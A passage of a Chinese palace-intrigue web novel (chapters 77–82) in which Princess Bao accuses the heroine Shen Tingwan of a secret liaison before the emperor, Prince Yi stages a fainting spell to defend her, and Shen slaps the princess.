听见这话,宝郡主面露惊恐,心下有些心虚地怒吼道:“谁说本郡主喜欢皇叔的,是你,是你朝三暮四,你就是一个贱人!” 沈听晚若有所思的点点头:“哦,这么说,宝郡主不喜欢殿下啊。” “你……我……”宝郡主有些结结巴巴:“现在正在说你的事,你扯本郡主做什么,我看你就是心虚!” 沈听晚嘴角勾起一抹冷意:“宝郡主,说话可是要讲求证据的,你说你不喜欢自己的皇叔,可有证据?” 宝郡主咬牙切齿,硬着头皮道:“本郡主不喜欢皇叔,也不需要证据!” “啧啧啧……”沈听晚略带同情的看向她,不禁摇头叹气的说:“你这样不行啊,拿不出证据,可没人会相信呢。” “沈听晚!”宝郡主的脸色突然变得难看不少,大声的怒喝着:“你这分明是诬陷本郡主!” 沈听晚突然间笑了,笑容明媚,给人一种说不出的好看,她笑着开口:“那今日宝郡主此番前来,不也是在诬陷本王妃?” 宝郡主脸上的表情瞬间僵住。 这才想起来,她此番来到翊王府的目的,这个贱人,三句话两句话竟然就把她给绕进去了,心下顿时气的准备要撸起袖子动手。 “沈听晚!你这个贱人,你你和那个君宁宇私会,我可是有证据的,你说我喜欢翊皇叔,你可能拿的出什么证据证明吗!” 第77章 沈听晚再进宫 “你若是拿不出证据,那就是你在诬陷本郡主,本郡主定要告到陛下跟前,叫你掉脑袋!” “哼。”沈听晚轻哼一声:“怎么就没有呢。” 沈听晚此话一出,在场众人瞬间被惊了一跳。纷纷向她投去不敢置信的目光。 宝郡主也僵了一下,还不等开口,便见沈听晚又自顾自开口。 “本王妃嫁到王府第二天,宝郡主可就火急火燎的到王府来质问了,宝郡主这是自己忘了吗? 你忘了没关系,我倒是可以改给你提个醒。 你当时还说什么,是本王妃强迫殿下娶我的,这些话,王府里所有人,可都听得真真儿的。 还有,你去找我夫君,结果哭哭啼啼的从王府跑出去,这些在王府可都传遍了。”最后,沈听晚还不忘补上一句:“还需要本王妃在拿出什么其他证据来吗?”她嘴角带着笑意,眼睛明亮的很:“本王妃这儿可是还有不少呢。” 此话一出,在场围观的众人,再看向宝郡主的时候,脸上顿时充满了复杂。 看来还真是宝郡主喜欢自己的皇叔啊,所以这才来诬陷翊王妃的? 那这也……太太太过匪夷所思了吧…… 这侄女爱上小叔,在坊间都是密不可闻的丑事,没想到,就连在皇室之中,竟然还能有这种丑事发生啊…… “沈听晚!这算什么证据,本郡主当时去见皇叔,只是小辈关切,不忍看到皇叔终日不能离床,这才哭的!” 面对着众人投来鄙夷与怪异的目光看向自己,宝郡主更是气急败坏:“还有,你从前分明是要嫁给太子哥哥的,后来太子哥哥喜欢雪初姐姐,你是见当太子正妃无望,才把主意打到皇叔身上的,你以为本郡主不知道! 本郡主做这一切,都是在为皇叔打抱不平!” “那你的婢女就只是见着本王妃被宇世子救下,就带王府门口四处嚷嚷,这也能算作是证据?” 沈听晚一句轻描淡写的话,是黑是白在已经明朗了。 众人这才回过神来,一开始,他们都被宝郡主牵着鼻子走了! “是啊,宝郡主就只有一个身边的小丫鬟为人证,这也太过草率了些吧。” “就是,要真按宝郡主所说的,那昨天我下地干活,不小心掉进坑里,王家大哥把我拽上来,那也算是私会了?我也该被我家那口子休了,或者被浸猪笼了?” “哎呀老大媳妇,以后你出门可注意点,万一被喜欢上你丈夫的人看了去,再找点人证过来,别到时候说不清啊……” 两个夫人在一旁你一言我一语的议论着,说话间更是意有所指,听到宝郡主的耳中,险些没气的晕死过去。 “圣旨到!” 就在这时,人群身后突然间传来一道公鸭嗓的声音。 沈听晚的目光看过去,有些意外。 怎么这事儿,还传到皇宫里去了? 传旨公公从百姓主动让出的一条道快步都过来:“翊王妃,宝郡主接旨!” 旨意中大抵的意思是,宝郡主在王府大闹,丢了皇室颜面,但翊王妃出府却蒙面不让人知晓,着实可疑,让她们二人进宫对峙。 宝郡主见状,心下顿时大喜。 看来她闹这一场,还真是闹对了,现下就连陛下都知道了,看到时候,陛下不好好收拾这个贱人的! 宝郡主脸上勾起一抹得意的笑,挑衅的看向沈听晚:“贱人,我看你是不敢进宫吧?” 沈听晚面无表情,抬眼上下睨了一眼:“有何不敢?” “好,算你有胆量,那本郡主可就在皇宫里等你了!”宝郡主扬了扬头冷声地道,随即便带着身后一众侍卫婢女,浩浩荡荡消失在众人地视线当中。 她的先一步到皇宫,这样她把证据往陛下面前一放,饶是沈听晚有三头六臂怕是也解释不清了呢! “晚晚,父亲跟你一同进宫。”这时,沈将军大步走来,脸上满是担忧的道。 “不用了父亲,此事我自己一人足矣。” “可是……” “今天谢谢父亲过来帮我撑腰了。”沈听晚脸上扬起一抹暖暖的笑意,如果不是她父亲来了,在王府外面和那高宝儿周旋这么长时间,她恐怕也没办法在里面专心给君翊医治了。 医治结果很成功,这算得上是一件大喜事,当然,如果不是碰上高宝儿过来闹事,沈听晚肯定会好好庆祝一番的。 “傻孩子,说什么谢不谢的,你是我女儿,我还不知道你的性子吗,你若是不喜欢殿下,上次就会答应让父亲进宫为你求和离书的,断不会私下做那等荒唐事! 对了,你在街上遇到行刺,这么大的事儿,你怎么不和父亲讲,究竟是怎么回事啊,你可有受伤?” 沈将军脸上带着责备之色,但满眼却掩饰不住流露出的担忧。 他这是爱之深,责之切了,沈听晚又如何看不出来。 “父亲,此事说来话长,不过女儿没事,这不是好端端的站在你跟前嘛。” “你这孩子,什么时候学会报喜不报忧了!” “嘿嘿,父亲,这件事先不要让母亲知道,我怕她为我担心。”沈听晚认真的开口。 来到这里,沈听晚才算是真真切切感受到了什么是亲情。 她也很珍惜这份来之不易的情感,所以沈听晚才更加不希望爹娘因为她的事太过担心操劳。 “好,你母亲那里我帮你先瞒着,但等这事过了,你回家一趟,父亲有事要与你说。”沈将军面带严肃的开口,看向沈听晚,又欲言又止。 沈听晚自然看得出来自己父亲话里有话,随即头应下:“好。” 沈将军又一连提出几次想要陪沈听晚一同入宫的话,却都被沈听晚拒绝了,无奈只好作罢,只能站在原地目送着沈听晚上了马车。 “将军,那个人抓住了,您可要亲自审?” 不远,亲卫快步上前,走到沈将军跟前低声地道。 沈将军面容瞬间冷了下来:“把人带回将军府,关到暗室。 记着,不许声张,别让夫人知道这件事,免得吓着她了。” “是!” 第78章 本宫倒是看不出宝郡主这般恶毒 皇宫里。 沈听晚一下马车,便被赵启林带到了御书房的宫殿外,带到赵公公进去通传之后,沈听晚才能进去。 一路上匆匆忙忙,这几次入宫,都算不上有什么好事发生,沈听晚不禁摇了摇头。 看来,她是真的不宜入宫的啊。 上一次是皇后召见,而这一次,沈听晚也是担心,一旦被那个宝郡主颠倒了黑白,她怕是真的要死在皇宫里头了。 这也是为什么,沈听晚没同意让沈将军陪她一同入宫的原因。 她是担心,沈将军为了替她求情而获罪,更担心自己父亲眼睁睁看着自己女儿死,却什么也做不了。 “臣妇参见陛下,万岁万岁万万岁。参见皇后娘娘。” 刚走进宫殿,沈听晚便一眼看到了早已经到皇宫的宝郡主,不过看到君宁宇在殿内,倒是让她觉得有些意外。 想不到,君宁宇也被陛下召见来了。 “平身吧。”只见皇帝大手一挥。 “多谢陛下。”沈听晚站起了身来,却仍旧低着头,不敢乱看。 事已至此,皇后也有些着急,她神色有些复杂地看着沈听晚。 也不知道沈听晚究竟有没有私下和君宁宇见过面,她倒是真不希望沈听晚和君宁宇有什么私交的。 如果君宁宇真的和沈听晚说了什么,皇后是担心,沈听晚的心里会有所动摇,到时候可就真的不好办了。 所以,她在坤宁宫,一听说宝郡主要状告沈听晚和君宁宇私会的事之后,那一路火急火燎的赶过来了。 她就是想要看看,沈听晚和君宁宇之间,究竟在搞什么! 皇后与沈听晚之间的事情,皇上虽然是知道些,但却从来没有插手过。 这一次皇后这么急着赶过来,自然也知道究竟是为什么。 心里不禁感到格外的讽刺。 他这个皇后啊,为了稳固自己儿子的太子地位,还真的是操碎了心呢。 “沈听晚,宝郡主状告你说你与宇世子之间曾有私情,此事你如何解释?” 皇帝抬眼看向台下的沈听晚,以帝王的威严压制着沈听晚。 沈听晚的头埋得更深了些,语气间却没有半分慌乱,冷静的开口:“回陛下,宝郡主之言,句句无稽之谈,臣妇与宇世子从未有半点私交,还请陛下明查,还臣妇清白。” “哦?”皇帝微挑了挑眉:“那这么说,当日在百草堂,并非王妃被行刺,宇世子救下的也不是翊王妃了?” 沈听晚一顿,眉头不禁蹙了蹙,抬眼便看到宝郡主一脸得意的笑。 正在沈听晚准备回神的时候,却又对上了,君宁宇那隐含深意的眼神。 沈听晚心头一惊,立马收回视线:“回陛下,那日臣妇确实在百草堂附近遇到有人行刺,多亏宇世子仗义出手,否则臣妇怕是早已经命丧黄泉。 但臣妇与宇世子之间,仅有过两面之缘,陛下圣明,找人一查便知臣女是否说谎。” 在沈听晚的印象里,原主从来都没有与君宁宇有过任何交集,也只有她穿越过来之后,见过君宁宇两面。 其实如果查清楚这件事情也很简单,找人调查她和君宁宇究竟有没有交集,便可真相大白。 就是不知道,皇帝心里头究竟是怎么想的。 如果真的想要利用她去对付沈家,或者说就是想要在此事上做文章的话,你就另当别论了! “沈听晚,你当人都是傻子吗,你与君宁宇若是真的私下有情,怎么可能闹得人尽皆知,还不是会私下相见,即便是调查,也查不出你们有什么?”宝郡主转头冷着脸看过去,厉声呵斥道。 沈听晚抬眼,目光平静:“宝郡主此言,难道是在说陛下痴傻,查不出真像吗?” 此话一出,店内骤然变得安静的诡异。 一众人不敢置信地看向沈听晚。 这丫头也真敢说啊! 皇帝的脸色也沉了下来,冷声开口:“放肆。” 沈听晚屈身跪下:“臣女该死。” 皇帝瞪了沈听晚一眼,随即移目看向君宁宇:“宇世子,你可有话要说?” “陛下,正如皇婶所言,臣与皇婶仅有两面之缘,那日也是碰巧救下皇婶,至于宝郡主所言,臣倒是有些惶恐了。” “哼,你们两个串通一气,哪能有一句真话!”宝郡主冷嗤一声,转头又看向皇帝:“陛下,依臣女看,就应该对这二人施已重刑,重刑之下,他们才肯说实话呢!” “哼,从前本宫倒是没看出来,宝郡主小小年纪,心思竟然还这般狠毒呢。” 此时,始终在台上没有开口的皇后终于说话了,言辞间尽是讽刺:“重刑?宝郡主还真能说的出口! 这二人一个是亲王世子,一个是皇弟正妃,身份何等尊贵,还望陛下三思。” 皇帝转头瞪了皇后一眼,心下气恼,他难道还不知道宝骏如此话荒唐吗,还用得着皇后提醒。 皇后心里头打着什么算盘,别以为他不知道! 不过心里虽然气恼着皇后,面上却不能表现的太过明显,只沉声训斥道:“皇后所言在理,宝郡主,长公主平日里就是这么教你规矩的,身为晚辈,这样的话,也能说得出口?” 宝郡主神色讪讪,心下一慌,忙低下头去:“是,臣女知错了,不过臣女也是想尽快查明真相啊。” “真相朕自然会查清楚,你在一旁看着就是,不必再言!”皇帝有沉声的道。 这下子,宝郡主不敢再多说什么了,只站在一旁,不过眼神却恶狠狠的瞪着沈听晚,那架势,像是恨不得要把沈听晚生吞活剥了似的。 “翊王妃,你那日去百草堂买药,可是为了翊王?” “是。” 皇帝双眼微眯,眼中满是试探,问到:“翊王的伤,你能医治?” “回陛下,臣妇医术浅薄,暂无法使得殿下痊愈,只想尽力一试,至少……”沈听晚叹了口气:“至少是希望王爷能免遭受些痛苦。” “原来如此,翊王妃是有心了。”听见这话,皇帝才狠狠松了口气。 他差点以为,沈听晚真的能给那个瘫子给治好呢。 如果真的是这样的话,那沈听晚可就万万留不得了! 第79章 还知道她生气了! 这时,殿外突然快步走进来一个公公,脸色还有些焦急,进门之后,看到沈听晚跪在地上,面色更为复杂了些。 皇帝看过去,眉宇间透着威严地转向小太监,沉声的问:“出了什么事,如此慌慌张张成何体统!” 小太监扑通一声跪倒在地,双手颤抖着伏地,声音中带着惶恐地说:“回……回陛下,翊王殿下求见!” “什么?!”此话一出,皇帝立马惊得下意识起身:“翊王身子好了?” 他不是瘫在床上,起不来身的吗? 这又是这么进的皇宫?! 难不成沈听晚方才的话是在骗他? 皇帝看了沈听晚一眼,而此时,沈听晚的脸上也是满眼的不敢置信。 这家伙这么进宫了? 她出来的时候,君翊明明还在昏睡着啊,而且她不是已经嘱咐过暗蒙,不能让君翊随意移动的吗? 这家伙,这是又不听她的话了! 皇帝一阵震惊过后,忙回过神,也觉得方才的举动不妥,稳了稳心神,问道:“翊王是如何来的?” 小公公:“回陛下,是王府的人将殿下安置在软榻上,一路抬到皇宫开的 。” 那阵仗,不是一般的大。 现在,皇宫的大门口,可是围了不少百姓围观,简直是把皇宫大门口围的个水泄不通。 如果不是因为这样,他刚才进门来的时候,也不可能满眼复杂地看沈听晚一眼了。 王妃娘娘真是好生了得啊,翊王殿下如今病重在床,都能为了她而进宫! 这京城之中,能够让翊王如此的,怕也只有眼前这位将军府大小姐,翊王妃了吧。 听见小太监的话,皇帝才忙松了口气。 看样子那个病秧子的病还没好了。 方才真是吓了他一大跳,还真以为君翊那个瘫子能起身下地了呢。 抬眼意味深长地看了沈听晚一眼,眼中闪过一丝难以捉摸的光芒,随即忙开口:“还愣着做什么,还不快传翊王进来!”然后又补充道:“告诉抬软榻的下人,动作轻些,万不可伤到了王爷。” 心里虽然巴不得君翊那个瘫子快点死,表面上的功夫也不能给人落下把柄。 要知道,现在他和君翊之间,在外人看来可一直都是兄友弟恭呢。 “是。”小太监起身便跑了出去,不多时,便见翊王躺在一张精致的软榻上,由四个身强力壮的王府侍卫缓缓抬入殿内。 皇帝不禁站起身,朝着软榻上的方向张望两眼。 宝郡主更是自打翊王被抬进来之后,那眼神就像是黏在了君翊神色一般,久久无法移开视线。 而沈听晚此时却是满脸担忧之色,看到软榻上的君翊脸色的一抹惨白,心中的气愤更是不减反增。 简直是太过胡闹了! 而此时,君翊在看到眼前的小姑娘安然无言,心里也是狠狠松了口气。 只不过,见到殿前所有人都站着,唯独自家小姑娘跪在台下,眉头又不禁皱了皱。 “跪着做什么,王妃又不曾犯错?”君翊虽然全身动弹不得,但声音中却是格外的好听,只是那略显沙哑的嗓音中,透着几分虚弱。 台上,明黄色的衣袍微动,参与龙袍之下的拳头不禁缩紧几分,皇帝嘴角动了动:“翊王既然身子不好,怎地还随意挪动?定是王府的下人伺候的不精心,若是伤了你,朕将他们的脑袋通通砍下来!” 言辞间虽然都是说着关心君翊的话,但那杀气一闪而过,君翊也看得分明,却装作不知:“皇兄,府上的下人照料的很好,只不过臣弟今日进宫,却是因为王妃被人诬陷。” 君翊淡声开口,微微抬眼看向宝郡主的方向,明明没有提宝郡主的名字,眼神中也毫无波澜,可宝郡主的身体却不禁一颤。 “皇叔……侄儿……侄儿……”宝郡主的身形有些不稳,摇晃一下,似要摔倒一般。 她原本是想说,自己没有诬陷沈听晚,都是那个贱人自己行事不检点,让她的人看了个正着的。 可是话到嘴边,看到皇叔看她的眼神没有难点温度,所有想说的话都哽在了喉咙里一时连声音都发出不半点 “咳咳,本宫看翊王的身子似乎大好,上次臣妾与皇帝去王府看望时,太医还说王爷的嗓子受损,无法说话呢。”皇后此时站到皇帝跟前,忙打着圆场开口。 那母仪天下的威严,简直是拿捏的恰到好处。 皇帝也瞬间被皇后的话点醒。 “是啊,翊王的嗓子好了?” 君翊微垂了垂眸:“多亏皇兄替臣弟赐下这门婚事,臣弟如今能看开口说话,幸得王妃精心照料。” 转眼看向沈听晚,那深邃的眼眸中涌动着说不清的情愫,有感激,有温柔,还有一丝难以言说的歉意。 他看得出来沈听晚是生气了,因为也有一次食言了,没能听小姑娘的话,在床上好好养伤。 沈听晚看了君翊一眼,随即不经意间收回视线,垂下眼去,面上没多少表情。 这家伙,倒还知道她生气了! 知道她一定会因为他不爱护身子而生气,竟然还这样胡闹! 简直是半点没把她的话放在心上。 “那真是多亏了翊王妃啊,王妃简直是东陵的功臣!”皇帝地心里像是堵了一团棉花似的难受,可却只能强压着,面上依旧一副喜色开口:“这翊王妃也真是的,这样的事儿也能瞒着,朕担心翊王地身子,曾问过你多次,你可一直说翊王病重一直不好,害得朕白担心呢。” 嘴上看似责备,心里却是真真的郁闷,更加愤怒沈听晚这个女人,竟然敢欺君! 如果早知道君翊的伤沈听晚能医治的好,他早就暗中安排一场刺杀,把这个女人的命给了解了! 可是现在……似乎说什么都晚了。 身为一国之尊,吃了这么大一个亏,这让他如何能甘心。 如果君翊的伤真的彻底痊愈,那他便将会是最大的隐患。 “皇兄切莫怪罪晚晚,臣弟的嗓子虽然能正常开口,但估计今生都没没有办法起身行走,晚晚的医术曾受廖神医真传,但学医年数颇短,能使得臣弟开口说话,就已经耗尽了心血。” 第80章 一石二鸟 君翊哪里看不出皇帝眼中的那一抹杀意正是对着沈听晚的,他略微沉思一瞬,便道。 听见这话,皇帝神色一顿。 就是只可以开口说话? 他立马抬眼上下打量着软榻上的君翊,见他从自打进殿到现在,果然没有动弹过一下。 眉头不禁动了动,随即又故作担心的看向沈听晚:“翊王妃,翊王的伤,你当真医治不好?” 正在垂头沉思的沈听晚,突然间被点名,猛地回神过来,她先是悄悄看了一眼君翊,又迅速收回视线,想了一下随即无奈叹气:“陛下,翊王的伤,伤的实在是太重了,臣妇没有多少把握可以医治好王爷。” 没有多少把握可并不代表就没有把握。 沈听晚也并没有说谎,她给君翊医治,治好的把握的确不大。 只不过是沈听晚在这把握性不大的情况下,让君翊险境丛生了而已。 “哎,那真是可惜了。”皇帝面上满是遗憾与担忧,心里头却忍不住雀跃。 看来是他想多了。 不过也是,皇宫里那么多太医都说对君翊的病情没有把握,一个小小的黄毛丫头能掀起什么风浪来。 更何况,他也曾暗中调查过沈听晚,不过是七八岁年纪时曾在神医谷小住过两年而已。 仅仅两年时间,即便受得廖神医真传有如何,那么小的年纪,能记住多少? 估计就是一个半吊子赤脚大夫罢了,有点医术但不多,瞎猫碰上死耗子才让君翊恢复说话能力的。 想到这里,皇帝也觉得自己是白担心一场了,那口堵在心口窝的气儿也顺畅了不少。 “翊王妃,朕与太后给你和翊王赐婚,看来真的是赐对了,不过朕要你保证,一定要尽力给翊王医治!”皇帝不容人拒绝的道。 既然沈听晚没有把握医治好君翊那就好了,把这个医治翊王的事情交给沈听晚,到时候,那个瘫子若是是有半点三长两短,他正好可以借此机会知沈听晚的罪。 沈听晚若是死了,那无疑就是给将军府一记致命的打击。 如此一石二鸟之计,不仅君翊的伤好不了不就就会死,就连将军府都可以借机一举灭之,皇帝此时的感觉实在是太好了。 见状,沈听晚一副颇为为难的神色:“陛下,臣妇医术尚浅,恐怕做不到……” “沈听晚 ,朕不管这些,朕现在就命你尽全力医治好翊王,他是朕的弟弟,更是东陵的有用之人,东陵不能没有他,你可明白朕的意思。”皇帝态度强硬的命令道,眼神落在君翊的身上。 沈听晚自然是明白的,她强低下头,掩饰住眼中的抹一抹寒。 这是还想着要她给君翊陪葬呢。 不过这回皇帝的算盘可算是打错了,君翊的伤不仅已经被她给医治好了,而且不出一个月,他就能正常起身行走。 原本她还担心着,等到时候君翊真的好起来出现在大众人的面前,究竟要找一个什么样的理由去糊弄过去她在皇帝面前欺君的罪名呢,这下子好了。 连编借口的时间都可以省下来了! 沈听晚心中暗喜,面上却是一副愁容、面如死灰,最终只得跪拜下去:“是,臣妇定尽力医治殿下。” “嗯,若是医治好翊王,朕定重重赏赐翊王妃。” 言外之意便是,若医治不好,那等待沈听晚的可就是杀头的死罪了。 皇后在一旁一直看着,身边这个与其同床共枕多年的皇帝,心里的打算她又如何看不出来。 这便就是打算要治沈听晚于死地。 想到这里,皇后心里暗叹口气,眼中复杂之色一闪而过。 看样子,皇帝这是铁了心要办沈家了,这对太子来说,是件好事,同时又是一件坏事。 如果她真的拉拢了沈家,但沈家若是无能,没办法摆脱皇帝的杀心,到时候,恐怕会牵连到太子啊。 可是不拉拢…… 皇后又为难起来,沈家手握重兵,可以说是一只诱人的肥羊,就这么放了,实在是可惜…… 一直时间,皇后也犯了难。 究竟要不要帮沈听晚一把呢? 念头在皇后脑中一闪而过,她很快便下了决定,回神轻笑着看向皇帝:“陛下,单凭您一人的赏赐怎么能够呢?若王妃真能医治好翊王,臣妾心中也甚是欢喜,不如恩准臣妾也赏赐王妃些东西,权当是臣妾的一番心意,陛下以为如何?” 皇帝瞥了皇后一眼,嘴角勾起一抹讽刺。 他确实在算计沈听晚,但皇后的算盘打得也挺响亮! 看来皇后现在也没下定决心真正拉拢沈听晚啊,如果这二人真的达成交易,那皇后开口,便不会是沈听晚医治好君翊思量着给什么赏赐,而是向他为沈听晚求情了! 他这个皇后啊,倒不是个蠢笨的。 “好,就依皇后所言吧。”皇帝淡淡开口。 终归他是不相信,沈听晚小小年纪能比皇宫里的太医医术还要高明。 面对台上那两口子心里打着什么算盘,沈听晚是全然看在眼里,她垂下头,掩去嘴角的讽刺:“多谢陛下,多谢皇后娘娘。”明明说着感激的话,可沈听晚说的却是讽刺无比。 “陛下,皇叔的病情虽然很重,但怎么能交于沈听晚那个贱……”宝郡主忍不住出声,不过很快便感受到不远处从软榻上传过来的一记寒光,周身不禁一冷,不过还是硬着头皮继续道:“翊王妃与宇世子私会一事,还未调查清楚,臣女以为,翊王妃品性不端,不能让这种人继续留在皇叔身边啊。” 哪怕皇叔现在生她的气,她也一定要说,大不了等这件事情调查清楚,她再亲自去向皇叔请罪就好了。 皇叔从前那么宠爱她,肯定不会真的生她的气。 宝郡主心里这样安慰着自己,胆子也越发大了不少,转眼无视君翊那道冰冷的目光,壮着胆子道:“皇叔,侄女也是为了你好,她虽然治好你的嗓子,但与外男私会也是真的,您可千万别被沈听晚的花言巧语给迷惑了!” 第81章 王爷信妾身吗 “宝郡主,你是在污蔑本王的妻子,长公主府就是这么教你规矩的?”君翊语气清晰,不紧不慢地道。 宝郡主一脸震惊,要是寻常男人听到自己的妻子私会外男的话,早就愤怒要休妻了,再不济也该找人狠狠责罚沈听晚一顿啊。 可是…… 她皇叔的情绪,怎么会这么稳定? 她又立马急声开口:“皇叔,侄女不是诬陷啊,沈听晚和君宁宇在外私下相见是事实,而且外头都已经传遍了! 沈听晚她在没嫁到皇室之前,就曾勾搭三搭四。一天不勾引男人她就难受,只不过嫁到皇室之后,才略微收敛了些,但私底下除了宇世子,究竟还有多少男人,恐怕都数不胜数!” 君翊地眼底闪过一丝让人难以捉摸的暗光,微微眯起双眼,似乎想到了什么。 他两片薄唇抿成一条直线,眉骨见狠狠地压着。 宝郡主见状,又继续道:“更何况,沈听晚原本是要嫁给太子哥哥的,是太子哥哥嫌恶她,不想让这样的女人成为太子妃,她才退而求其次要嫁给皇叔的!” 如此朝三暮四,水性杨花的贱人,宝郡主真不知道她身上又那点好! 君翊盯着宝郡主的目光又变得阴沉不少,脸色肉眼可见的覆上了一层阴戾之色。 很明前,君翊是彻底的要动怒了! 然而,宝郡主看在眼里,却半点不怕,反而得意的笑了。 她就说吧,只要她在皇叔面前揭开沈听晚的嘴脸,皇叔就肯定容不下那个贱人了。 宝郡主转眼眼神轻蔑的瞪向沈听晚,那架势,恨不得把头昂到天上去。 沈听晚见状也是不禁狠狠抽了抽嘴角。 这宝郡主究竟是哪来的自信,就这么认定君翊会将她赶出王府? 且不说她和君翊私下便有过交易,她不过是名义上的王妃而已,就算她出去私会外男,就凭君翊想要痊愈,那就得依靠她的医术。 单凭这一桩,宝郡主就不可能如愿。 更何况,她还不是真正的翊王妃,就算是喜欢上别人,翊王也没有理由会生气啊。 沈听晚抬眼看向君翊,背上男人那双寒气逼人,怒不可遏的冰冷眸子。 明知道君翊不会把她怎么样,不过沈听晚就是看不惯宝郡主那副嚣张气焰,还是满脸真诚的开口:“王爷,你信妾身吗?” 君翊原本寒凉的眸子,在对上沈听晚那一副洋装着委屈欲哭的小表情,明知道眼前这小姑娘是故意的,君翊还是忍不住心头一软。 “本王自然相信自己的妻子。” 这只小狐狸啊,他还真是那沈听晚一点办法都没有。 沈听晚听见这话,瞬间咧嘴笑了,转头又用方才宝郡主那雄赳赳,气昂昂的架势瞪了回去。 那架势,似乎是在说:看吧,就算你把证据怼在君翊的脸上,他也相信我! 宝郡主看的是瞠目结舌,她怒指着沈听晚,气急败坏的怒吼着:“你这个贱人,究竟给皇叔下了什么迷魂汤,每天招首弄姿,一副狐媚样做给谁看?” “住口!” 君翊躺在软榻上,棱角分明的下颚微抬,冷冷的盯着宝郡主,虽然周身没有半点生气,那目光却森然:“本王平日里是太娇纵与你了,竟让你心生歹念,不仅挑拨本王与王妃的感情,还咒骂长辈,从今往后,你就不要再他踏王府的门了!” 他就当没有这个外甥女! “皇叔,你说什么……” 宝郡主满眼不敢置信,皇叔竟然为了这个贱人,竟然都不肯让她登门了?! 凭什么! 皇叔凭什么对一个贱人另眼相待? 从前皇叔不是最宠爱她的吗,无论她犯什么错,皇叔都会原谅她啊。 可是这一次,为什么就不一样了呢…… 问题究竟是出在了哪儿? 是沈听晚! 对,就是这个贱人! 她要杀了沈听晚!她要将沈听晚碎尸万段! 宝郡主的表情从不敢置信再到崩溃,最后蔓延出对沈听晚满满的阴郁与杀意。 “贱人,本郡主现在就要杀了你!” 说话间便见宝郡主大步朝着沈听晚而去,她将头上的钗子抽出来用力握在掌心,尖刺的钗子愤怒的朝着沈听晚挥舞而去。 站在宝郡主身边的君宁宇一个手疾眼快,迅速上前将宝郡主控制下来,冷声呵斥:“放肆,陛下面前,宝郡主也敢行凶杀人!” 君翊的漆黑的双眸也是第一次对宝郡主产生了杀意。 她竟然敢伤害沈听晚! 若不是因为高宝而不仅是他舅舅的女儿,还是长公主所出,他根本不会正眼看宝郡主一眼。 这么多年来,他对宝郡主一再容忍,想不到竟是纵的她如此刁蛮无理,现在竟然连杀人的念头都敢有。 “咳咳……皇兄,宝郡主对臣弟的王妃不敬,还欲再御前行凶,实在可恶,还请皇兄严惩!”君翊冷声开口,或许是太过愤怒的缘故,原本没有多少血色的脸庞 ,此时也染上了一抹不自然的红意,忍不住咳嗽起来。 沈听晚忙快步上前:“君翊,你怎么样?”一道严肃中透着浓浓地担忧的声音传图君翊的耳中。 沈听晚的脸色严肃的很,一双明亮的眸紧张的看向君翊,脸上的担忧根本遮掩不住。 君翊可千万不能出事,她还不容易才把君翊的身体缝补的差不多了,要不了多久就能痊愈,就是在这个时候出现差池,那可就前功尽弃了。 见着沈听晚脸上的担忧,君翊心里却是有些高兴的。 这小姑娘,还是在乎他的。 怕沈听晚太担心自己,君翊一边咳嗽着,眼底却蕴含着叫沈听晚放心的神色。 沈听晚一顿,在感知到君翊的脉象均匀有力,没有一点异常,这才恍然。 原来都是这家伙装的。 沈听晚忍不住被气笑了,亏这家伙想得出来,害得她刚才白白担忧一场! 皇帝自然也注意到了,心里虽然巴不得君翊立刻就被气死才好,免得他再费心神了,但面上却还是满眼担忧的开口:“翊王妃,翊王他如何了?” 第82章 惊,王爷又晕倒了! 沈听晚在知道君翊身体无碍时,便放下了心,转头却换上一副欲哭无泪的表情:“陛下,王爷是怒火攻心倒是心脉受损……”沈听晚哽咽一瞬,又抽了抽鼻子开口:“王爷他……他现在经不起情绪过激啊……” 听着沈听晚的话,君翊也是十分配合的又用力咳嗽一阵,脸上由白转红,再由红转为不正常的青,他不断咳嗽着,却依旧执拗开口:“咳咳……求陛下……咳咳,重责宝郡主,咳咳……”话音还未落下,便两眼一闭,直接昏死了过去。 离君翊最近的沈听晚,见状心里头都忍不住感叹。 这翊王殿下要是在现代,演技绝对是影帝级别的啊! 不得不说,这个世界前君翊这家伙一个奥斯卡小金人! 沈听晚微微轻摇了摇头,忍不住抬手在君翊的手臂上掐了一把,心里头无奈,君翊都已经把戏台子搭好了,她不配合一下,岂不是辜负了君翊。 “王爷,王爷,你醒醒啊!你不要吓我,呜呜……陛下,王爷他晕过去了!”沈听晚憋了口气,努力挤出两行泪水来,自己抬手胡乱在脸上抹了两把,一屁股便坐在地上,崩溃大哭起来。 那架势,简直是要多绝望有多绝望。 皇帝眉头动了动,随即立马沉声地道:“来人,快去传太医!” “快把翊王安置到偏殿,朕不许翊王有事!” 最起码,这个瘫子绝不能在皇宫里出事。 被传出去君翊要是死在皇宫里,而且还是在勤政殿,那他这个皇帝,也是摆脱不了被人猜忌。 沈听晚缓缓起身,面无表情的抬手抹去脸颊上的两行清泪,踱步朝着宝郡主的方向而去。 “你,你要干什么?”宝郡主一脸惊怒,想要向后躲去,只可惜,自己整个身子都被君宁宇牵制着,半点都动弹不得。 “王爷现在昏迷,难道是因为你!” 宝郡主狠狠白了沈听晚一眼:“胡说八道什么,是因为你,你这个水性杨花的狐媚子,在这儿装模作业给谁看……” “啪!” 宝郡主的话音还未落下,便见沈听晚扬起手,用力扇在了宝郡主的脸上。 这一声清脆的巴掌声,响彻整个大殿,就连一直押着宝郡主的君宁宇,都不禁吓了一跳,下意识放开了手。 重获自由的宝郡主被打翻在地,抬手捂着脸,满目震惊与错愕。 沈听晚却似笑非笑,嘴角噙着冰冷的笑:“今日王爷没事便也罢了,是王爷有个三长两短,我定与你不死不休!” “贱人,不敢打我!” 宝郡主脸上的表情瞬间变得狰狞起来,努力的起身便要反击,她发了疯似的朝着沈听晚的身上扑过去。 在宝郡主起身,手马上变要来又在沈听晚的身上之际,沈听晚一个抬手便抓住了她的手腕,反手又是一巴掌狠狠地扇了过去。 “啪!” 清脆的巴掌声比刚才那一下更为响亮。 沈听晚黛眉轻佻,随即勾起一抹凉意,娇声喝道:“本王妃再怎么说也是你的长辈,有何不敢?” 宝郡主一连挨了两巴掌,只见她的双颊以肉眼可见的速度肿高了不少,整张脸都变得扭曲,她哆嗦着唇,颤声开口:“贱人,你算什么长辈,仗着皇叔一时信你,你便为所欲为!” 沈听晚抬眼上下打量着她,眼底透着一抹挑衅:“是啊,王爷就是信我不信你呢,有什么办法?有本事你也让王爷信你的话啊! 做事做不到,就少在我面前犬吠!” 沈听晚不屑地开口,主打就是一个脏字不说,但却气死人不偿命那种。 